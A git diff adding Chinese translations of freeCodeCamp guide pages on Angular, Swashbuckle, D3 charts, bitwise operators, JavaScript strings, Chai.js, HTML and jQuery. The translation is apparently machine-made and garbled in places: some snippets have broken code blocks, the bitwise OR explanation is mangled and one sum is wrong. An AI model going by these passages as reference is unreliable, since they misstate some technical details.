+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <link rel="stylesheet" href="styles.css"> 
+        <!-- 1\. Load libraries --> 
+        <script src="https://npmcdn.com/core-js/client/shim.min.js"></script> 
+ 
+        <script src="https://npmcdn.com/zone.js@0.6.12?main=browser"></script> 
+        <script src="https://npmcdn.com/reflect-metadata@0.1.3"></script> 
+        <script src="https://npmcdn.com/systemjs@0.19.27/dist/system.src.js"></script> 
+ 
+        <!-- 2\. Configure SystemJS --> 
+        <script src="systemjs.config.js"></script> 
+        <script> 
+          System.import('app').catch(function(err){ console.error(err); }); 
+        </script> 
+      </head> 
+ 
+      <!-- Display app in my-app element --> 
+      <body> 
+        <my-app>Loading Your App...</my-app> 
+      </body> 
+    </html> 
+ ``` 
+ In commented section 1, we loaded several libraries that improve the compatibility of this tutorial with different browsers/versions. It also imports `system.src.js` which is used as module loader to import the app. 
+ 
+ In section 2, SystemJS is used to load our application and our various modules. In a production example we may want to use something else such as webpack. It was chosen here since we can use it with plunker. 
+ 
+ This is all that is required to get our simple application running. <a href="http://plnkr.co/edit/2i7Wjwd2JGj4NZtKvGD2" target="_blank">Here is a link to a plunker</a> that contains our working application. You can fork it into your own version and change whatever you'd like. 
+ 
+ <a target="_blank" href="http://plnkr.co/edit/2i7Wjwd2JGj4NZtKvGD2">VIEW APP</a> 
+ 
+ ## Add Functionality and Another Component 
+ 
+ Now let's add a bit more functionality to our program. We will create a counter that let's you increment it by clicking a button. 
+ 
+ Our increment component will be its own module so that we can reuse it in later applications. 
+ 
+ Let's name our file: `app/increment-clicker.component.ts` and set it up. 
+ ```js 
+ // app/increment-clicker.component.ts 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+    selector: 'increment-clicker', 
+    template: ` 
+      <div className="counter"> 
+        <h1>{{curClicks}} clicks</h1> 
+        <button type="button" (click)="incrementClicks()">Increment</button> 
+      </div> 
+    `, 
+    styles: [` 
+        .counter { 
+          width: 100%; 
+          margin: auto; 
+          background: darkgreen; 
+          border-radius: 5px; 
+          color: white; 
+          padding: 20px; 
+          text-align: center; 
+        } 
+        .counter h1 { 
+          margin: 0; 
+          padding: 20px; 
+          font-size: 36px; 
+        } 
+        .counter button { 
+          background: #f1c40f; 
+          border: 0; 
+          box-shadow: 0px 5px 0px #927608; 
+          padding: 20px; 
+          width: 100%; 
+          outline: none; 
+          border-radius: 5px; 
+          color: darkgreen; 
+          font-weight: bold; 
+        } 
+ 
+        .counter button:hover { 
+          background: #a9890a; 
+          cursor: pointer; 
+        } 
+    `] 
+ }) 
+ 
+ export class IncrementClicker { 
+  curClicks = 0; 
+ 
+  incrementClicks() { 
+    this.curClicks++; 
+  } 
+ } 
+ ``` 
+ Our component structure is similar to our previous one, but we've added a bit of functionality here. You will notice our class is no longer empty. We've added a variable to track the clicks as well as a function to increment them when the user clicks the button. 
+ 
+ You can display properties from your class in your template using double braces such as: `{{ variableName }}` 
+ 
+ We bind the button click event to our class function using Angulars Event Bindings. 
+ ```html 
+ <button type="button" (click)="incrementClicks()">Increment</button> 
+ ``` 
+ 
+ Notice that we've also added some styling to our components. This way everything is self-contained in this module. You may also include a `templateUrl` and/or `styleUrls` properties instead to extract the template and style rules to an external file and link them here. 
+ 
+ Now we just need to update our `AppComponent` to include our new component: 
+ ```js 
+ // app/app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ /* Nested Component */ 
+ import { IncrementClicker } from 'app/increment-clicker.component'; 
+ 
+ @Component({ 
+  selector: 'my-app', 
+  directives: [IncrementClicker], 
+  template: ` 
+    <h1>Free Code Camp Rocks!</h1> 
+    <increment-clicker></increment-clicker> 
+  `, 
+  styles: [` 
+    h1 { color: darkgreen; font-family: Arial, Helvetica, sans-serif;} 
+  `] 
+ }) 
+ 
+ export class AppComponent { } 
+ ``` 
+ To pull in our new `IncrementClicker` component we need to import it by including the class name as well as the location of the typescript file as we did on this line: 
+ ```js 
+ import { IncrementClicker } from 'app/increment-clicker.component'; 
+ ``` 
+ We then add the `IncrementClicker` *component* as a directive to the `AppComponent` module using: 
+ ```js 
+ directives: [IncrementClicker], 
+```
+
+最后，我们只需在模板中添加组件连接的标记。因此，我们的`IncrementClicker`组件中的选择器将匹配我们希望它显示的标记。  
+`js template:`
+
+# 免费Code Camp Rocks！
+
+`,`  
+我们的组件现已包含在我们的应用中！  
+\[更新代码  
+[查看完整的应用程序](http://run.plnkr.co/plunks/BdvNONEmO3Jwg0EavX22/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/angular-resources/index.md b/client/src/guide/chinese/miscellaneous/angular-resources/index.md
new file mode 100644
index 0000000000..f386a562e3
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/angular-resources/index.md
@@ -0,0 +1,21 @@
+---
+title: Angular Resources
+localeTitle: 角度资源
+---
+一组有用的Angular资源
+
+## 一般页面
+
+*   [Angular JS](https://angularjs.org/) - Angular JS主页
+*   [角度风格指南](https://github.com/johnpapa/angular-styleguide) - 角度开发的详细最佳实践
+
+## 特定主题页面
+
+*   [指令](http://www.sitepoint.com/practical-guide-angularjs-directives/) - 关于角度指令的详细指南（第1部分）
+*   [指令](http://www.sitepoint.com/practical-guide-angularjs-directives-part-two/) - 关于角度指令的详细指南（第2部分）
+
+## 影片
+
+*   [Angular JS中的路由](https://www.youtube.com/watch?v=5uhZCc0j9RY) - 15分钟内的客户端路由
+*   [Angular ToDo应用程序](https://www.youtube.com/watch?v=WuiHuZq_cg4) - 12分钟内的Angular ToDo应用程序
+*   [使用Angular.JS进行整形](https://www.codeschool.com/courses/shaping-up-with-angular-js) - 一个免费的Angular.JS教程
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/angular-socketio/index.md b/client/src/guide/chinese/miscellaneous/angular-socketio/index.md
new file mode 100644
index 0000000000..c3345783a7
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/angular-socketio/index.md
@@ -0,0 +1,10 @@
+---
+title: Angular Socketio
+localeTitle: Angular Socketio
+---
+如果您已经进入股票图表后端项目，您可能已经注意到奖金标准是让您的股票列表在客户端实时更新。这可以通过SocketIO实现，但并非所有SocketIO都能做到。记得早些时候，我提到当使用_$ http.post时，_你必须用您发布的项目的数据库版本更新本地数组？ SocketIO使用户的浏览器环境实时与您的数据库保持同步。这有两个实际的结果：
+
+1.  您不再需要使用数据库数据手动更新本地数据;它全部自动管理
+2.  您可以同时将数据库更改实时推送到不同计算机上的用户
+
+更好的是，如果你在yeoman angular-fullstack设置期间提示时只包括SocketIO，那么绝对不需要包含它。它开箱即用，在**主/**路线上有一个工作演示，你可以通过简单地看看它们如何在**main.controller.js中**包含它来学习如何自己使用它（所以我不会再进一步​​了解它详情）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md b/client/src/guide/chinese/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md
new file mode 100644
index 0000000000..9b89cb7dcd
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md
@@ -0,0 +1,78 @@
+---
+title: Arranging Operations Alphabetically in Swashbuckle Swagger
+localeTitle: 在Swashbuckle Swagger中按字母顺序排列操作
+---
+[Swashbuckle](https://github.com/domaindrivendev/Swashbuckle)无缝地向WebAPI项目添加了[Swagger](http://swagger.io/) 。但是，页面上的操作不按字母顺序显示。
+
+虽然操作不会按字母顺序显示，但Swashbuckle允许使用自定义过滤器并使用少量编码，顺序可以按字母顺序显示。
+
+## 代码示例
+
+下面的代码创建了一个[DocumentFilter](https://github.com/domaindrivendev/Swashbuckle#documentfilter) ，然后将其应用于[此处](https://github.com/domaindrivendev/Swashbuckle#modifying-generated-operations)概述的最终文档。
+```
+using Swashbuckle.Swagger; 
+ using System; 
+ using System.Collections.Generic; 
+ using System.Linq; 
+ using System.Web; 
+ 
+ namespace YourNamespace.Swagger.Extensions 
+ { 
+    public class CustomDocumentFilter : IDocumentFilter 
+    { 
+        public void Apply(SwaggerDocument swaggerDoc, SchemaRegistry schemaRegistry, System.Web.Http.Description.IApiExplorer apiExplorer) 
+        { 
+            //make operations alphabetic 
+            var paths = swaggerDoc.paths.OrderBy(e => e.Key).ToList(); 
+            swaggerDoc.paths = paths.ToDictionary(e => e.Key, e => e.Value); 
+ 
+            //controller comments do not get added to swagger docs. This is how to add them. 
+            AddControllerDescriptions(swaggerDoc, apiExplorer); 
+ 
+        } 
+ 
+        private static void AddControllerDescriptions(SwaggerDocument swaggerDoc, System.Web.Http.Description.IApiExplorer apiExplorer) 
+        { 
+            var doc = new YourPortal.Areas.HelpPage.XmlDocumentationProvider(GetXmlCommentsPath()); 
+ 
+            List<Tag> lst = new List<Tag>(); 
+            var desc = apiExplorer.ApiDescriptions; 
+            ILookup<HttpControllerDescriptor, ApiDescription> apiGroups = desc.ToLookup(api => api.ActionDescriptor.ControllerDescriptor); 
+            foreach (var apiGroup in apiGroups) 
+            { 
+                string tagName = apiGroup.Key.ControllerName; 
+                var tag = new Tag { name = tagName }; 
+                var apiDoc = doc.GetDocumentation(apiGroup.Key); 
+                if (!String.IsNullOrWhiteSpace(apiDoc)) 
+                    tag.description = apiDoc; 
+                lst.Add(tag); 
+ 
+            } 
+            if (lst.Count() > 0) 
+                swaggerDoc.tags = lst.ToList(); 
+        } 
+        private static string GetXmlCommentsPath() 
+        { 
+            return System.Web.Hosting.HostingEnvironment.MapPath("~/App_Data/YourPortal.xml"); 
+        } 
+    } 
+ } 
+```
+
+现在您可以像这样简单地将它添加到配置文件中
+```
+.EnableSwagger(c => 
+    { 
+        ... 
+        c.DocumentFilter<YourNamespace.Swagger.Extensions.CustomDocumentFilter>(); 
+        ... 
+    } 
+ ); 
+```
+
+## 参考文献：
+
+*   [Swashbuckle](https://github.com/domaindrivendev/Swashbuckle)
+*   [昂首阔步](http://swagger.io/)
+*   [的DocumentFilter](https://github.com/domaindrivendev/Swashbuckle#documentfilter)
+*   [上面代码的要点](https://gist.github.com/pallu/0f28e98fa89d2855a321)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/backend-file-structures-in-angular/index.md b/client/src/guide/chinese/miscellaneous/backend-file-structures-in-angular/index.md
new file mode 100644
index 0000000000..0b69e3bc00
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/backend-file-structures-in-angular/index.md
@@ -0,0 +1,10 @@
+---
+title: Backend File Structures in Angular
+localeTitle: Angular中的后端文件结构
+---
+您的应用程序与数据库交互的后端api位于**/ server / api中**  
+我们来看看**/ server / api / thing** ：
+
+1.  **index.js** ：此文件将从应用程序前端发出的$ http API请求路由到**thing.controller.js中**的相应函数
+2.  **thing.controller.js** ：这是我们实际处理数据库的地方！花点时间浏览一下，看看发生了什么。这些函数将：返回集合中的所有项目，在传递其id时从集合返回单个项目，将项目发布到集合，更新集合中的项目（这实际上并不像预期的那样工作，我们将在一分钟内修复它，当然，从集合中删除一个项目。
+3.  **thing.model.js** ：这里定义了一个_事物_对象的实际结构。您可以在_事物_模型中添加或删除任何您想要的字段，只要它们在语法上是正确的，它们就不会破坏任何内容，即使数据库中已存在具有不同模式的_事物_ 。但！您不必编辑_事物_模型来创建新类型的集合，因为generator-angular-fullstack可以为您完成！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/bar-graph-project/index.md b/client/src/guide/chinese/miscellaneous/bar-graph-project/index.md
new file mode 100644
index 0000000000..4fca3a8019
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/bar-graph-project/index.md
@@ -0,0 +1,95 @@
+---
+title: Bar Graph Project
+localeTitle: 条形图项目
+---
+## 我们的目标是学习数据的基础知识
+
+通过这个项目使用D3进行可视化。
+
+![屏幕截图2016-05-17在5 02 41 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d46c5c1c76bd03b9e85d450da02695d3f07c75c.png)
+
+## 什么是D3.js？
+
+对于那些不熟悉D3的人来说，D3.js是一个用于根据数据操作文档的JavaScript库。 D3可帮助您使用HTML，SVG和CSS将数据变为现实。
+
+D3.js可帮助您将数据附加到DOM（文档对象模型）元素。然后您可以使用CSS3，HTML和/或SVG展示此数据。最后，您可以通过使用D3.js数据驱动的转换和转换来使数据交互。
+
+## 项目说明：
+
+### 场景：
+
+“有一类在线学生与该主题的不同主题进行交互，并对这些主题进行测验。
+
+有15个主题，每个主题，我们有一些学生参加测验，并分为三个类别：低，中，高
+
+### 例如（给定数据）：
+
+主题：“1”，低：4，中：13，高：18
+
+主题：“2”，低：11，中：12，高：6
+
+主题：“3”，低：12，中：24，高：6，依此类推。
+
+请注意，主题1有`4 + 13 + 8 = 35`学生已参加测验，主题2有`11+12+6 = 29`学生，主题3有42名学生，依此类推。
+
+我们想制作交互式条形图和饼图。例如，鼠标悬停在其中一个条上将相应地更改饼图，反之亦然。
+
+通过条形图和饼图的交互式组合，条形图显示与特定主题交互的学生数量（参加测验）和饼图，显示学生在“低，中，高”类别中的表现分类，我们可以可视化我们的数据并从中获得更多数据分析。
+
+## 提示和资源：
+
+### 分步说明：
+
+[**D3简介：**](https://d3js.org)您可以在其中了解D3.js中的选择，动态属性和过渡。
+
+*   在主要的javascript函数中，编写一个函数来处理直方图（条形图） - 直方图将显示15个主题参加测验（与该主题相互作用）的学生总数。
+    
+    *   （这里是[**教程**](https://bost.ocks.org/mike/bar/) ，您可以在其中学习如何使用D3 JavaScript库制作条形图。第一个教程教授如何在HTML中制作一个简单的版本，然后在可缩放矢量图形（SVG）中制作更完整的图表，最后是视图之间的动画过渡。）
+*   [为直方图创建SVG](http://codepen.io/SundeepB/pen/CxveH)
+    
+*   创建x轴映射函数并将x轴添加到直方图SVG
+    
+*   为y轴映射创建函数，为直方图创建条形以包含矩形和主题标签。
+    
+*   创建矩形和主题标签
+    
+*   创建更新条形的功能。这将由饼图使用
+    
+*   编写一个函数来处理pieChart。 - 饼图将有三个切片 - 低，中和高表示分数。
+    
+    *   您可以在[**教程**](http://zeroviscosity.com/d3-js-step-by-step/step-1-a-basic-pie-chart)中学习如何制作饼图，然后在视图之间切换以及如何创建图例。
+*   为饼图创建svg。
+    
+*   创建绘制饼图切片弧的函数 - 饼图切片为低，中和高
+    
+*   创建一个函数来计算饼图切片角度。
+    
+*   绘制饼图。
+    
+*   创建更新饼图的功能。这将由直方图使用。
+    
+*   针对所有主题计算分段的总频率。
+    
+*   计算所有段的状态总频率。
+    
+
+## 数据分析的结果以及我们可以从可视化中推断出什么：
+
+*   初始饼图显示所有主题的所有学生分数的总分类，分为“低，中，高”三个类别
+    
+*   初始条形图，显示已就该特定主题进行过互动的学生人数
+    
+*   饼图中的任何选定类别都将更新条形图，显示已在具有属于该特定类别的分数的各种主题上进行交互的学生数量。
+    
+*   下面的屏幕截图显示了鼠标悬停在饼图的“中”切片和“高”切片上，以及特定切片，主题条形图和学生数。
+    
+
+![屏幕截图2016-05-17在5 13 53 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/1/106f06d412df6db5b4a421dc4769d22695cbec72.png)
+
+![屏幕截图2016-05-17在5 14 14 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7b23ebe89f74f11090984dbc4dc68212e3beceb3.png)
+
+*   任何选定的条形图“条形图”都会更新饼图，显示所有学生在该特定主题上的分数分为低，中，高三类。下面的屏幕截图显示鼠标悬停在主题2上，对于该特定主题，有多少学生在类别低，中，高
+
+![屏幕截图2016-05-17在5 13 26 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7bd7c613bdb882f2b7c1f76f9778a1bda3e886dd.png)
+
+参考文献： [1\] \[https://d3js.org](https://d3js.org) [2\] D3.js简介中的](https://www.dashingd3js.com/why-build-with-d3js) [例子](https://d3js.org) [\- \[https://www.dashingd3js.com/why-build-with-d3js](https://www.dashingd3js.com/why-build-with-d3js)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/bitwise-operators/index.md b/client/src/guide/chinese/miscellaneous/bitwise-operators/index.md
new file mode 100644
index 0000000000..5d32a006e7
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/bitwise-operators/index.md
@@ -0,0 +1,47 @@
+---
+title: Bitwise Operators
+localeTitle: 按位运算符
+---
+`<<` ， `>>` ， `&` ， `|` ， `~`和`^`是按位运算符，它们在各个位的级别上对一个或多个位模式或二进制数字进行操作。
+
+## AND运算符
+
+`x & y`
+
+是“按位和”。如果y的x AND的相应位为1，则输出的每个位为1，否则为0。
+
+## OR运算符
+
+`x | y`
+
+是“按位还是”。如果y的x AND的相应位为0，则输出的每个位为0，否则为1。
+
+## 补充运算符
+
+`~ x`
+
+返回x的补码 - 通过将每个1切换为0并将每个0切换为1得到的数字。这与-x - 1相同。
+
+## XOR运算符
+
+`x ^ y`
+
+是“按位排他性”还是“。如果y中的该位为0，则输出的每个位与x中的相应位相同，如果y中的该位为1，则它是x中位的补码。
+
+## 算术移位左操作员
+
+`x << y`
+
+返回x，其中位向左移位y位（右侧的新位为零）。这与将x乘以2 \*\* y相同，保留数字的符号。当你使用count> = sizeof（type）进行移位时，大多数编译器都会发出警告。当你这样做时，你通常会得到一个0。
+
+## 算术右移算子
+
+`x >> y`
+
+返回x，位向右偏移y位。这与将x除以2 \*\* y作为无符号整数相同。负签名号的右移具有实现定义的行为。当你使用count> = sizeof（type）进行移位时，大多数编译器都会发出警告。向右移位可以用原始最高有效位填充“空”位（即执行符号扩展），或者它可以以零移位，具体取决于平台和/或编译器。
+
+## 逻辑右移算子
+
+`x >>> y`
+
+返回x，位向右偏移y位。与算术移位不同，逻辑移位不会预先设置符号。例如：以8位表示的-2将是11111110（因为最高有效位具有负权重）。使用算术移位将其向右移一位会给你11111111或-1。然而，逻辑右移并不关心价值可能代表一个数字;它只是将所有内容移动到右侧，并从左侧填充0。使用逻辑移位将我们的-2右移一位将给出01111111。此运算符不一定存在于所有语言中。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/capitalize-the-first-letter-of-a-string/index.md b/client/src/guide/chinese/miscellaneous/capitalize-the-first-letter-of-a-string/index.md
new file mode 100644
index 0000000000..11ac4e652c
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/capitalize-the-first-letter-of-a-string/index.md
@@ -0,0 +1,77 @@
+---
+title: Capitalize the First Letter of a String
+localeTitle: 将字符串的第一个字母大写
+---
+要大写随机字符串的第一个字母，您应该按照以下步骤操作：
+
+1.  获取字符串的第一个字母;
+2.  将第一个字母转换为大写;
+3.  获取字符串的其余部分;
+4.  将首字母大写与字符串的其余部分连接起来并返回结果;
+
+## 1.获取字符串的第一个字母
+
+你应该使用[charAt（）](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)方法， 在_索引0处_ ，选择字符串的第一个字符。
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ string.charAt(0); // Returns "f" 
+```
+
+> 注意： `charAt`优于使用`[ ]` （ [括号表示法](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950) ）为`str.charAt(0)` 在`''[0]`情况下，为`str = ''`返回一个空字符串（ _`''`_ ）而不是`undefined` 。
+
+## 2.将第一个字母转换为大写
+
+您可以使用[toUpperCase（）](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)方法 并将调用字符串转换为大写。
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ string.charAt(0).toUpperCase(); // Returns "F" 
+```
+
+## 3.获取字符串的剩余部分
+
+您可以使用[slice（）](https://github.com/freecodecamp/freecodecamp/wiki/js-array-prototype-slice)方法并获取 字符串的剩余部分（从第二个字符， _索引1_到字符串的结尾）。
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ string.slice(1); // Returns "reeCodecamp" 
+```
+
+## 4.返回结果，添加第一个字母和字符串的其余部分
+
+您应该创建一个接受字符串作为唯一参数的函数，并返回第一个字母的串联 大写`string.charAt(0).toUpperCase()`和字符串`string.slice(1)`的其余部分。
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ function capitalizeFirstLetter(str) { 
+  return str.charAt(0).toUpperCase() + str.slice(1); 
+ } 
+ 
+ capitalizeFirstLetter(string); // Returns "FreeCodecamp" 
+```
+
+或者您可以将该函数添加到`String.prototype`以便使用以下代码直接在字符串上使用它 （ _这样该方法不可枚举，但可以在以后覆盖或删除_ ）：
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ /* this is how methods are defined in prototype of any built-in Object */ 
+ Object.defineProperty(String.prototype, 'capitalizeFirstLetter', { 
+    value: function () { 
+        return this.charAt(0).toUpperCase() + this.slice(1); 
+    }, 
+    writable: true, // so that one can overwrite it later 
+    configurable: true // so that it can be deleted later 
+ }); 
+ 
+ string.capitalizeFirstLetter(); // Returns "FreeCodecamp" 
+```
+
+### 资源
+
+[stackoverflow - 在JavaScript中大写字符串的第一个字母](http://stackoverflow.com/questions/1026069/capitalize-the-first-letter-of-string-in-javascript/1026087#1026087)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/chaijs-assertexpression-message/index.md b/client/src/guide/chinese/miscellaneous/chaijs-assertexpression-message/index.md
new file mode 100644
index 0000000000..072c1c327b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/chaijs-assertexpression-message/index.md
@@ -0,0 +1,15 @@
+---
+title: Chaijs Assertexpression Message
+localeTitle: Chaijs AssertExpression消息
+---
+[@param](/users/param) {Mixed}表达式来测试真实性
+
+*   [@param](/users/param) {String}消息显示错误
+
+编写自己的测试表达式。
+```
+assert('foo' !== 'bar', 'foo is not bar'); 
+ assert(Array.isArray(<a href='http://chaijs.com/api/assert/' target='_blank' rel='nofollow'>]), 'empty arrays are arrays'); 
+```
+
+细节：\[http://chaijs.com/api/assert/
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/chaijs-cheatsheet/index.md b/client/src/guide/chinese/miscellaneous/chaijs-cheatsheet/index.md
new file mode 100644
index 0000000000..441544fa14
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/chaijs-cheatsheet/index.md
@@ -0,0 +1,130 @@
+---
+title: Chaijs Cheatsheet
+localeTitle: Chaijs Cheatsheet
+---
+## 断言
+```
+assert(val) 
+ assert.fail(actual, expected) 
+ assert.ok(val) // is truthy 
+ assert.equal(actual, expected) // 'compare with ==' 
+ assert.strictEqual 
+ assert.deepEqual 
+ 
+ assert.isTrue 
+ assert.isFalse 
+ 
+ assert.isNull 
+ assert.isNotNull 
+ assert.isUndefined 
+ assert.isDefined 
+ assert.isFunction 
+ assert.isObject 
+ assert.isArray 
+ assert.isString 
+ assert.isNumber 
+ assert.isBoolean 
+ 
+ assert.typeOf(/tea/, 'regexp') // Object.prototype.toString() 
+ assert.instanceOf(chai, Tea) 
+ assert.include(<a href='https://github.com/rstacruz/cheatsheets' target='_blank' rel='nofollow'> a,b,c ], a) 
+ assert.match(val, /regexp/) 
+ assert.property(obj, 'tea') // 'tea' in object 
+ assert.deepProperty(obj, 'tea.green') 
+ assert.propertyVal(person, 'name', 'John') 
+ assert.deepPropertyVal(post, 'author.name', 'John') 
+ 
+ assert.lengthOf(object, 3) 
+ assert.throws(function() { ... }) 
+ assert.throws(function() { ... }, /reference error/) 
+ assert.doesNotThrow 
+ 
+ assert.operator(1, '<', 2) 
+ assert.closeTo(actual, expected) 
+```
+
+## 应该：连锁店
+```
+.to .be .been .is .that .and .have .with .at .of .same 
+```
+
+## 不应该
+```
+expect(object).not.equal('x') 
+```
+
+## 期望
+```
+expect(object) 
+  .equal(expected) 
+  .eql 
+  .deep.equal(expected) // same as .eql 
+  .be.a('string') 
+  .include(val) 
+ 
+  .be.ok(val) 
+  .be.true 
+  .be.false 
+ 
+  .be.null 
+  .be.undefined 
+  .be.empty 
+  .be.arguments 
+  .be.function 
+  .be.instanceOf 
+ 
+  .gt(5)  # or .above .greaterThan 
+  .gte    # or .at.least 
+  .lt(5)  # or .below 
+ 
+  .respondTo('bar') 
+  .satisfy (n) -> n > 0 
+ 
+  .have.members([2, 3, 4]) 
+  .have.keys(['foo']) 
+  .have.key('foo') 
+ 
+  .exist 
+ 
+ expect(-> ...) 
+  .throw /not a function/ 
+```
+
+## 柴的jQuery
+```
+    global.jQuery = ...; 
+    chai.use(require('chai-jquery')); 
+ 
+    expect($body) 
+ 
+      .have.attr('foo') 
+      .have.prop('disabled') 
+      .have.css('background') 
+      .have.css('background-color', '#ffffff') 
+      .have.data('foo') 
+ 
+      .have.class('active') 
+      .have.id('id') 
+ 
+      .have.html('<em>hi</em>') 
+      .have.text('hello') 
+      .have.value('2013') 
+ 
+      .be.visible 
+      .be.hidden 
+ 
+      .be.checked 
+      .be.selected 
+ 
+      .be.enabled 
+      .be.disabled 
+ 
+      .be.empty 
+      .to.exist 
+      .to.contain('text') 
+      .to.have('.selector') 
+```
+
+> \[ricostacruz CheatSheets
+> 
+> [讨论gitter](https://gitter.im/bothelp/testing)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/challenge-dcommenter-html/index.md b/client/src/guide/chinese/miscellaneous/challenge-dcommenter-html/index.md
new file mode 100644
index 0000000000..4720a850d9
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/challenge-dcommenter-html/index.md
@@ -0,0 +1,12 @@
+---
+title: Challenge Dcommenter HTML
+localeTitle: 挑战Dcommenter HTML
+---
+注释允许忽略代码。在HTML中，通过用`<!--`和`-->`括起要忽略的代码来进行注释。  
+`<! - Ce texte n'apparaîtra pas puisqu'il est un commentaire ->`
+
+您可以通过删除评论项轻松取消注释HTML代码。
+
+**_注意：_**取消注释HTML代码时要小心，并记住删除注释开头和结尾的元素！
+
+**_注意：_**注释可以在其他编程语言（如JavaScript）中以不同方式进行，但删除表示注释的所有内容的一般概念也适用。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md b/client/src/guide/chinese/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md
new file mode 100644
index 0000000000..d41500dd0b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md
@@ -0,0 +1,15 @@
+---
+title: Challenge Dire Bonjour Aux Elements HTML
+localeTitle: 挑战向HTML元素问好
+---
+HTML元素使用开始标记，结束标记和介于两者之间的内容编写：
+
+*   `<nom-de-la-balise>contenu</nom-de-la-balise>`
+
+HTML元素包括从开始标记到结束标记包含的所有内容：
+
+*   `<p>Mon premier paragraphe HTML.</p>`
+
+开始标记如下所示： `<h1>` ，结束标记如下所示： `</h1>`
+
+*   请注意，开始标记和结束标记之间的唯一区别是结束标记在打开的V形符号后面有一个斜杠。结束标记中的斜杠非常重要，因为它表示标记是此元素的结尾。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md b/client/src/guide/chinese/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md
new file mode 100644
index 0000000000..5eab6e73b4
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md
@@ -0,0 +1,13 @@
+---
+title: Challenge Informer Avec L Element De Paragraphe
+localeTitle: 挑战通知与段落的元素
+---
+`p`元素是网站上正常大小段落文本的首选元素。 `p`是“paragraph”的缩写。
+
+你可以像这样创建一个`p`元素： `<p>Je suis un élément p !</p>` 。
+```
+<h1>Hello World</h1> 
+ <h2>ApplicationDePhotosDeChats</h2> 
+ <p>Bonjour Paragraphe</p> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/challenge-titre-avec-un-element-h2/index.md b/client/src/guide/chinese/miscellaneous/challenge-titre-avec-un-element-h2/index.md
new file mode 100644
index 0000000000..8475b97c76
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/challenge-titre-avec-un-element-h2/index.md
@@ -0,0 +1,10 @@
+---
+title: Challenge Titre Avec Un Element H2
+localeTitle: H2元素的标题挑战
+---
+您可以使用h1，h2，h3，h4，h5，h6创建标题元素，这将导致不同的大小。
+```
+<h1>Hello World</h1> 
+ <h2>ApplicationDePhotosDeChats</h2> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/change-text-inside-an-element-using-jquery/index.md b/client/src/guide/chinese/miscellaneous/change-text-inside-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..c7bc740663
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/change-text-inside-an-element-using-jquery/index.md
@@ -0,0 +1,14 @@
+---
+title: Change Text Inside an Element Using jQuery
+localeTitle: 使用jQuery更改元素内的文本
+---
+使用jQuery，您可以更改元素的开始和结束标记之间的文本。您甚至可以更改HTML标记。
+
+jQuery有一个名为`.html()`的函数，它允许您在元素中添加HTML标记和文本。之前在元素中的任何内容都将完全替换为您使用此功能提供的内容。
+
+以下是如何重写和斜体化标题的文本：
+```
+$("h3").html("<em>jQuery Funhouse</em>"); 
+```
+
+jQuery也有一个类似的函数`.text()` ，它只改变文本而不添加标签。因此，当使用`.html()`请记住您将编辑整个标记而不仅仅是文本。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/change-text-with-click-events/index.md b/client/src/guide/chinese/miscellaneous/change-text-with-click-events/index.md
new file mode 100644
index 0000000000..27e1f18283
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/change-text-with-click-events/index.md
@@ -0,0 +1,10 @@
+---
+title: Change Text with Click Events
+localeTitle: 使用Click事件更改文本
+---
+当发生click事件时，我们可以使用Ajax使用以下代码更新HTML元素：
+```
+$(".message").html("Here is the message"); 
+```
+
+这告诉jQuery使用类`message`作为选择器，为此，更改HTML以使字符串提供，我们还可以添加用引号括起来的自定义html元素。
